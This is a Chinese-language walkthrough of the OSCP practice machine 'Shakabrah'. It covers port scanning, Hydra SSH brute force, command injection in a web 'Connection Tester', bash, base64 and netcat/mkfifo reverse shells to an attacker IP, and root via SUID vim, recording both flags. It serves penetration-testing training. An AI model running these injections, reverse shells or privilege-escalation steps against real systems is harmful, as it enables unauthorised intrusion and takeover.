OSCP系列靶场-Esay-Shakabrah
字数 1503 2025-08-10 16:34:34
OSCP靶场渗透实战:Shakabrah靶机攻破全记录
靶机概述
Shakabrah是一个难度评级为"Easy"的OSCP练习靶机,展示了从信息收集到最终提权的完整渗透测试流程。本靶机主要利用了Web应用命令注入和SUID提权技术。
环境准备
- 攻击机IP: 192.168.45.188
- 靶机IP: 192.168.178.86
- 工具准备:
- Nmap (端口扫描)
- Dirsearch/Dirb (目录扫描)
- Hydra (SSH爆破)
- Netcat (监听反弹shell)
信息收集阶段
端口扫描
使用Nmap进行两次扫描以减少误报:
sudo nmap --min-rate 10000 -p- 192.168.178.86
结果:
- 22/tcp (SSH)
- 80/tcp (HTTP)
详细服务扫描:
sudo nmap -sT -sV -O -sC -p22,80 192.168.178.86
发现:
- SSH: OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
- HTTP: Apache httpd 2.4.29
SSH服务分析
- 检查支持的认证方式:
sudo ssh root@192.168.178.86 -v
显示支持publickey和password认证
- 弱密码尝试失败后,启动Hydra爆破:
sudo hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 -vV 192.168.178.86 ssh -s 22
Web服务分析
- 访问http://192.168.178.86发现"Connection Tester"功能
- 目录扫描:
dirsearch -u http://192.168.178.86:80 -x 302,403,404
dirb http://192.168.178.86:80
发现/index.php和/index.php/login/
漏洞利用阶段
命令注入漏洞
- 在"Connection Tester"功能中发现命令注入点:
127.0.0.1|ls
成功执行命令,显示index.php文件
- 查看index.php源码获取用户名:
127.0.0.1|cat index.php
发现用户"dylan"
- 获取第一个flag:
127.0.0.1| cat /home/dylan/local.txt
得到: 88b3b51f62350a076178af251056ee65
反弹Shell尝试
- 初始反弹shell失败:
127.0.0.1 | bash -i >& /dev/tcp/192.168.45.188/5666 0>&1
- Base64编码绕过尝试失败:
echo -n "bash -i >& /dev/tcp/192.168.45.188/5666 0>&1" | base64
得到: YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ1LjE4OC81NjY2IDA+JjE=
127.0.0.1|echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ1LjE4OC81NjY2IDA+JjE=" | base64 -d | bash
- 成功反弹shell方法:
;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.45.188 80 >/tmp/f
注意: 发现小端口(80)可以成功,大端口(5666)失败
Shell交互增强
python3 -c 'import pty; pty.spawn("/bin/bash")'
获得更好的交互式shell
权限提升阶段
系统信息收集
- 系统版本:
lsb_release -a
Ubuntu 18.04.5 LTS (bionic)
- 内核版本:
uname -a
Linux 4.15.0-112-generic
- 当前用户权限:
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
SUID提权
- 查找SUID文件:
find / -perm -4000 2> /dev/null
发现/usr/bin/vim.basic具有SUID权限
- Vim提权尝试:
vim.basic -c ':python3 import os; os.execl("/bin/bash", "bash", "-pc", "reset; exec bash -p")'
成功获得root权限
- 获取root flag:
cat /root/proof.txt
得到: a74064fc768f4e9869b885d35892e0b6
关键经验总结
- 端口选择: 反弹shell时小端口(1000以下)成功率更高
- 命令注入绕过: 当直接命令执行失败时,尝试不同的分隔符(;、|等)和编码方式
- SUID提权: 定期检查具有SUID权限的可执行文件,特别是常见编辑器(vim)
- 信息收集: 系统版本和内核信息对提权方法选择至关重要
- 交互增强: 获得初始shell后立即改善交互环境
参考资源
- GTFOBins (SUID提权参考): https://gtfobins.github.io
- 常见反弹shell方法: https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
- OSCP官方指南: https://www.offensive-security.com/pwk-online/PWKv1-REVISED-MANUAL.pdf